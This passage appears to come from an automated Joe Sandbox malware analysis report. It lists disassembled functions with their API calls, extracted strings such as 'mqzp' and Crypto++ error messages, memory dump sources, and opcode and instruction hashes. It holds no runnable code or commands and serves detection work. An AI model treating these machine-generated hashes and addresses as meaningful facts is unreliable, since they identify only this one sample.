                                          • Opcode Fuzzy Hash: a89626ecb213c53b2df274594dc493060290dd209f38d33e5a1ff70f8788e1b0
                                          • Instruction Fuzzy Hash: 74214F36704211AFEB289F28DC40BB9B7A9EFC6720F2581ADF8459F245CA359C01CB90
                                          Function 0089EE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 0089EE88
                                            • Part of subcall function 0089D3B0: ___std_exception_copy.LIBVCRUNTIME ref: 0089D3F3
                                          • ___std_exception_destroy.LIBVCRUNTIME ref: 0089EF77
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy$___std_exception_destroy
                                          • String ID: mqzp
                                          • API String ID: 4019986568-955126501
                                          • Opcode ID: b14f7087c8be0bc99306bda088ce58626031c9a7b8a0d30ac5d96eabe948a93b
                                          • Instruction ID: 44b3cf89b2da46cb443b9777a513f6336230086d02947db6d640fa8124373c86
                                          • Opcode Fuzzy Hash: b14f7087c8be0bc99306bda088ce58626031c9a7b8a0d30ac5d96eabe948a93b
                                          • Instruction Fuzzy Hash: 024118B0A10609EFCB14CF68C844A9DFBF8FF49318F118259E808AB751E771E904CB94
                                          Function 0092EAD9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,0092ED34,00000000,00000050,?,?,?,?,?), ref: 0092EBB4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ACP$OCP
                                          • API String ID: 0-711371036
                                          • Opcode ID: f6e8a5e43a19bd46bee95695050636b1750a598c7429cf4cd4888089c1a7dade
                                          • Instruction ID: 7eeabeb476bac163ced171ef1b6d7b93b419ad467d963741ea3d080e01b34132
                                          • Opcode Fuzzy Hash: f6e8a5e43a19bd46bee95695050636b1750a598c7429cf4cd4888089c1a7dade
                                          • Instruction Fuzzy Hash: D721FB62A00125A6DB34CB66FD81BA7739FAF55B61F568564ED0BD720CE732DD00C390
                                          Function 008D8298 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008D65B6: __EH_prolog3_GS.LIBCMT ref: 008D65C0
                                          • std::_Stofx_v2.LIBCPMT ref: 008D8303
                                          • _ldexpf.LIBCPMT ref: 008D8349
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3_Stofx_v2_ldexpfstd::_
                                          • String ID: mqzp
                                          • API String ID: 1444608790-955126501
                                          • Opcode ID: 337202c768e5de76422853e6813e6f64a661eefb549d9f53e9eb0e11e6902230
                                          • Instruction ID: ddec806c2edcdcd179d832702fcbde14e1d628c13474c3b428cf511c07a86ba0
                                          • Opcode Fuzzy Hash: 337202c768e5de76422853e6813e6f64a661eefb549d9f53e9eb0e11e6902230
                                          • Instruction Fuzzy Hash: 9E310A72910219DBDB19DF18C881AEAB7BCFB48300F54469AE509E6241EB30AB94CF55
                                          Function 008E49E9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008DDF67: __EH_prolog3_GS.LIBCMT ref: 008DDF71
                                          • std::_Stofx_v2.LIBCPMT ref: 008E4A54
                                          • _ldexpf.LIBCPMT ref: 008E4A9A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3_Stofx_v2_ldexpfstd::_
                                          • String ID: mqzp
                                          • API String ID: 1444608790-955126501
                                          • Opcode ID: 78935e9e58583be8e5118a400ec99a0510dd14e7ac3fc3fa7ca727007cade49a
                                          • Instruction ID: 65184b53b1b16416d70d82a666b49b50330d963d5a28823b71f0d4336ef7d3e4
                                          • Opcode Fuzzy Hash: 78935e9e58583be8e5118a400ec99a0510dd14e7ac3fc3fa7ca727007cade49a
                                          • Instruction Fuzzy Hash: FB313C71A00259DBCB15DF15CC41AEAB7BCFB48350F5055AAE40AE3241DB30EB54CF64
                                          Function 008EEF20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008EEFE5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: boost::filesystem::path codecvt to string$mqzp
                                          • API String ID: 2005118841-2192114233
                                          • Opcode ID: f502cc36ff559a79ee24352295f06c7c2226f60d0ea3f115fa2e0cacab15d3a2
                                          • Instruction ID: 028492394d6169097da92875596f7d5cf1e3616d360821fc7cabd944aceaf066
                                          • Opcode Fuzzy Hash: f502cc36ff559a79ee24352295f06c7c2226f60d0ea3f115fa2e0cacab15d3a2
                                          • Instruction Fuzzy Hash: AB217A726083189FC704DE69DC8196BB7E9FFCA750F40095DF981D7245DA30EC088BA2
                                          Function 008A6CB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A6D61
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • : this object doesn't support a special last block, xrefs: 008A6D32
                                          • mqzp, xrefs: 008A6CC4
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: : this object doesn't support a special last block$mqzp
                                          • API String ID: 3976011213-1312019976
                                          • Opcode ID: 6515e3a85213a11638d3d4152eb2b5b4d980a428e86b680361120b3ff596473c
                                          • Instruction ID: 8afc923ea724bf653a0dfc91f8c1a58e4415c4073fe09c4a58f45e4db15a2c84
                                          • Opcode Fuzzy Hash: 6515e3a85213a11638d3d4152eb2b5b4d980a428e86b680361120b3ff596473c
                                          • Instruction Fuzzy Hash: B02150B2A04218AFCB14DFA8D845F9FBBB8FB48710F04455AF816E7241DB35A910CB90
                                          Function 008E824C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3___cftoe
                                          • String ID: !%x
                                          • API String ID: 855520168-1893981228
                                          • Opcode ID: e53dcd41b4735a77537d1c975333d7462ce714f35856b6dac8df27f75fb63f6d
                                          • Instruction ID: 44aefc4f26c41ceea6fdeb24a6c83feb09f4e004cc5810bca0805010c1a6eba9
                                          • Opcode Fuzzy Hash: e53dcd41b4735a77537d1c975333d7462ce714f35856b6dac8df27f75fb63f6d
                                          • Instruction Fuzzy Hash: A9213771D0124DEBCF00EF94D881AEEB7B6FF09305F104419FA09AB251E7746A15CBA4
                                          Function 008E8321 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3___cftoe
                                          • String ID: !%x
                                          • API String ID: 855520168-1893981228
                                          • Opcode ID: d8cd96cd1f507c927c1817f59ec40451cd830622d56968420c337af0edaa00ae
                                          • Instruction ID: c045874a2a40537103adb3f9c737adf7a47467ce0d0c381b71acb28dfd55f7fb
                                          • Opcode Fuzzy Hash: d8cd96cd1f507c927c1817f59ec40451cd830622d56968420c337af0edaa00ae
                                          • Instruction Fuzzy Hash: 02213571D0124DEBCF00EF94D891AEEB7B6FF09704F104429F909AB241EB70AA15CBA4
                                          Function 00866B50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00866BD3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: mqzp$mqzp
                                          • API String ID: 2005118841-1158555082
                                          • Opcode ID: afc7e935d42ecefc8632b9d9e17247b344df637a936d0a18def84e21cb4881bc
                                          • Instruction ID: 1cb1baadff29d1161b4631c989d9899151742ddbb22ebb96db01a8ee7f9f276b
                                          • Opcode Fuzzy Hash: afc7e935d42ecefc8632b9d9e17247b344df637a936d0a18def84e21cb4881bc
                                          • Instruction Fuzzy Hash: 95110831A04748EBC720EF68D801B9ABBB8FF05714F00456FF815D7781EBB5A9508780
                                          Function 00862A30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00862A56
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 00862AEA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
                                          • String ID: mqzp
                                          • API String ID: 3286764726-955126501
                                          • Opcode ID: aa9c3da9ac46964471cac762e59a483c467fb7ddfd9f522f36db0d00d18507dc
                                          • Instruction ID: cf9f59d91ca97c6926282cc1619d8c0213322c11a2d338d51bc285aa6faec5c0
                                          • Opcode Fuzzy Hash: aa9c3da9ac46964471cac762e59a483c467fb7ddfd9f522f36db0d00d18507dc
                                          • Instruction Fuzzy Hash: D3115EF1A00B049FEB30DF65DD46B57B3E8EB04700F044929E88AC7741EB75E9048B92
                                          Function 008A8510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A85B9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: RoundUpToMultipleOf: integer overflow$mqzp
                                          • API String ID: 2005118841-2064318413
                                          • Opcode ID: a5c7b30f321cad3b35e71e53685e3dc34876717303a4808a9df8705099f2011b
                                          • Instruction ID: a919b170edb0819b634de127adcf492cbb56e7c5bfd26eda9f9685a5f178a874
                                          • Opcode Fuzzy Hash: a5c7b30f321cad3b35e71e53685e3dc34876717303a4808a9df8705099f2011b
                                          • Instruction Fuzzy Hash: 0811D372F14618DFDB08DFA8CC41BADB3B4FB48710F54862AEC16E7680DB35A9048A50
                                          Function 008F0D3B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 008F1F20
                                          • ___raise_securityfailure.LIBCMT ref: 008F2007
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: FeaturePresentProcessor___raise_securityfailure
                                          • String ID: mqzp
                                          • API String ID: 3761405300-955126501
                                          • Opcode ID: 1a3b880ad431839ddf170cb0f05ea586f323e584b806c0415635346c081420fa
                                          • Instruction ID: 10fb8b3ca78e70af228ceced14ebad6c30a432335d40f589775eede02652d39d
                                          • Opcode Fuzzy Hash: 1a3b880ad431839ddf170cb0f05ea586f323e584b806c0415635346c081420fa
                                          • Instruction Fuzzy Hash: 622104B556A304DAD720CF14FD856623BE4FB48318F90542AE6099B3A0EBB25480EF26
                                          Function 008DA63A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • SetLastError.KERNEL32(0000000D,?,008D59B0,00000001,?,0086379A,00000000,?,00862567,0098F6C0,0089ECA0,0098F6EC,?,0086379A,?,00000001), ref: 008DA6BE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast
                                          • String ID: ios_base::failbit set
                                          • API String ID: 1452528299-3924258884
                                          • Opcode ID: ccf693497eb9a11cc51d2c9480079b9028f4d4315bdcef0fa61f0f2b0aa8fa15
                                          • Instruction ID: 022860a591fe8b02efeffcac645830414b23aab93456b3738b2787dc0b1c6fbc
                                          • Opcode Fuzzy Hash: ccf693497eb9a11cc51d2c9480079b9028f4d4315bdcef0fa61f0f2b0aa8fa15
                                          • Instruction Fuzzy Hash: E111C236218215EFCF165F60EC4496ABB65FF28754B24413AF909D6310DB70DC50DB92
                                          Function 00868480 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008684EB
                                          Strings
                                          • CipherModeBase: feedback size cannot be specified for this cipher mode, xrefs: 008684C2
                                          • mqzp, xrefs: 00868494
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: CipherModeBase: feedback size cannot be specified for this cipher mode$mqzp
                                          • API String ID: 2005118841-1333910148
                                          • Opcode ID: 9c25a569545874356b876463f6685c0665bf70a4ac69680e9e154a75280fc893
                                          • Instruction ID: 0003544332295c321210b17d8fceafbf4aa19b0ca5c4064c56b3be1bdcd08436
                                          • Opcode Fuzzy Hash: 9c25a569545874356b876463f6685c0665bf70a4ac69680e9e154a75280fc893
                                          • Instruction Fuzzy Hash: 8C018F72A04148EBCB04DF54C981FAEBBB8FB04714F2046AAE815E7680DB35EA05CB55
                                          Function 00866492 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008664EE
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 008664B4
                                          • RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 008664C5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: RandomNumberGenerator: IncorporateEntropy not implemented$mqzp
                                          • API String ID: 3976011213-1072729184
                                          • Opcode ID: b59107a3f5f1109282b762bd415a5051c160ebea1d76682259546374ee209fd6
                                          • Instruction ID: 9fb770fb7d0df76147af630b4cc1cb8414c7f79933665525cb9302170910e93e
                                          • Opcode Fuzzy Hash: b59107a3f5f1109282b762bd415a5051c160ebea1d76682259546374ee209fd6
                                          • Instruction Fuzzy Hash: 88F05E7295460CEBC700EB95DD42FDEB7FCFB08704F500665F821A3690DB75AA088A91
                                          Function 008F0430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008650A0: CreateEventA.KERNEL32(?,?,?,?,707A716D,mqzpmqzp,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000), ref: 008650D4
                                            • Part of subcall function 008650A0: CloseHandle.KERNEL32(00000000,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008650EF
                                          • WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008F0475
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseCreateEventHandleObjectSingleWait
                                          • String ID: mqzp$mqzpmqzp
                                          • API String ID: 2631291778-2276261917
                                          • Opcode ID: 55aea734d3c98ce6fbf08dc114cc7c1bab4800924ce6523a28c5b2983b1b37fd
                                          • Instruction ID: b0b748eac73f0db7f9180421c38c0fac0a6619ad76f94e6db0be2724c24284f1
                                          • Opcode Fuzzy Hash: 55aea734d3c98ce6fbf08dc114cc7c1bab4800924ce6523a28c5b2983b1b37fd
